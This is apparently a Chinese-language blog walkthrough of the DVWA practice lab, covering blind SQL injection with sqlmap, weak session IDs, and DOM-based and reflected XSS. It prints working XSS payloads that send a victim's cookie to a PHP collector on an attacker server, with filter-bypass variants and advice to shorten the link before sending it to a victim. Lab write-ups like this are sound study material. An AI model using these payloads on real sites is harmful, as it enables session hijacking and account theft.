Damn Vulnerable Web Application(DVWA)攻略三
声明、安装、攻略视频在攻略一中有写这里不多赘述
SQL Injection (Blind)(SQL注入 - 盲注)
盲注,顾名思义,没有具体回显,只会显示 有 或 无
Low:
首先看一下目的:

再看下源码:

手工盲注太蠢了,我就不演示了,也没时间,我们用sqlmap工具进行盲注。
但是我们也不要做脚本小子,我们需要知道自己在做什么,而不是复制粘贴,这样什么都学不到。
📢知识是全人类共有的财富,但能否成为你的力量,取决于你能否将其内化为智慧。
你可以使用kali或者GitHub上下载在Windows上使用,他实质上就是个py脚本,有Python环境即可运行。
以管理员身份打开PowerShell切换至工具路径下,然后执python sqlmap.py就是运行脚本
需要用到的参-u 目标URL | --cookie添加Cookie,Cookie从下方图中获取:

我们这里执行:
python sqlmap.py -u "http://10.86.29.238/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --cookie="PHPSESSID=d39f1326428b80f6a4bfff220b8a6145; security=low"然后所有询问均选Yes,最后可以查看结果:
......
sqlmap identified the following injection point(s) with a total of 3624 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 4297=4297 AND 'qWLz'='qWLz&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 6228 FROM (SELECT(SLEEP(5)))CaMu) AND 'LaGa'='LaGa&Submit=Submit
---
[15:35:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.63
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
......答案显而易见,这里不多赘述。
Medium:
先看一下源码:

这里变成了下拉表单,不让输入了,并且也没有了URL传参。
后面的High和上题同样的,注入都是同样的手法,只不过盲注耗时耗力,如果没什么价值就不值得黑客这么做,但作为安全专家需要进行渗透测试确保系统无漏洞,即便无价值也有可能挖掘出更深的漏洞,不容忽视,只是教学这里我懒得再赘述了。
Weak Session IDs(弱会话标识符)
知识:
什么是Session ID?
Session ID是一个由服务器生成的唯一标识符,用于在服务器和客户端之间跟踪用户的会话状态。它在用户会话的开始时创建,并在整个会话期间保持不变。
俗话——Session ID就像是你在电影院的座位号。你买票进场后,工作人员会给你一个座位号,这个座位号只在你这场电影期间有效。通过这个座位号,工作人员可以找到你,给你送爆米花或者解答问题。同样,Session ID是服务器给你的一个“座位号”,用来在你浏览网站时识别你,确保你知道自己是谁,你在做什么。这个“座位号”通常是临时的,你离开网站后就失效了。
Session ID的作用
识别用户、状态管理、会话持久性
什么是Cookie?
Cookie是Web服务器存储在用户浏览器上的小文本文件,用于跟踪用户的状态信息。它通常包含用户会话的标识符(如Session ID)、个性化设置、登录状态等信息。
Cookie的作用
会话管理、个性化设置、流量分析、广告定位
Low:
先看目的:

看一下源码:

每次生成新的session都会在原有的基础上加1

Medium:
先看源码:

再看一下目前获得的Session ID:

结合在源码中看到的time合理推断这是根据时间戳定义的Session ID

High:
先看一下源码:

这个东西有些弱智的,这里看到Low级别的代码基础上加上了md5加密。
这里我就不多赘述了。
DOM Based Cross Site Scripting (XSS)(DOM型跨站脚本)
Low:
先看目的:

再看源码

没有保护措施,一切皆有可能

这里我们点一下Select可以看到域名后出现了:?default=English

我们用最简单最常用的<script>alert(1)</script>添加在English后,随后回车:

我们现在开始构建攻击页面,在攻击者服务器上的网站根目录下创建 Cookiein.php 文件。
注意需要有 php 环境才可以操作!文件中添加如下内容:
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt', $cookie);
?>创建touch /var/www/html/cookie.txt
加权chmod 777 /var/www/html/cookie.txt
随后将有道链接发给受害者诱导其访问链接:(这里仅是做题,简陋一些不要在意)
http://10.86.29.238/DVWA/vulnerabilities/xss_d/?default=<script>document.location='http://10.86.29.238/cookiein.php?cookie='+document.cookie;</script>你也可以做成短链接,这样看不出来。在对方访问后你就可以查看cookie.txt文件中对方账户的Cookie了
Medium:
先看一下源码:

这里服务器端过滤了<script标签,需要使用其他方法绕过。例如,利用 HTML 标签的事件处理器,这里通过<img>标签的onerror事件触发 JavaScript 代码:
http://10.86.29.238/DVWA/vulnerabilities/xss_d/?default=</option></select><img src=x onerror=document.location='http://10.86.29.238/cookiein.php?cookie='+document.cookie>High:
依旧是看源码:

这里对输入进行了白名单过滤,只允许特定的语言值。可以通过 URL 的#符号绕过
浏览器会处理#后面的内容,而服务器端不会将其作为查询参数
http://10.86.29.238/DVWA/vulnerabilities/xss_d/?default=English#<script>document.location='http://10.86.29.238/cookiein.php?cookie='+document.cookie;</script>Reflected Cross Site Scripting (XSS)(反射型跨站脚本)
Low:
老样子先看目的:

我们直接在输入框输入<script>alert(document.cookie)</script>拿到当前用户的Cookie了
现在构造恶意链接:
http://10.86.29.238/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>验证成功

这边和上题一样,都可以通过在攻击者服务器上构造恶意脚本,然后再请求链接中包含攻击服务器的恶意脚本链接。
依旧是这个:
http://10.86.29.238/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://10.86.29.238/cookiein.php?cookie='+document.cookie;</script>Medium:
先看一下源码:

这里和上题一样,太容易了,这里不多讲了
可以使用上一题一样的方法,或者上题没有讲到的:
大小写混淆:<ScRipt></script>
双写绕过:<sc<script></script>
这里源码只验证标签头,并没有验证标签封闭,所以只改头不改尾。
High不多赘述了
攻略三到此结束,下期不知道什么时候更新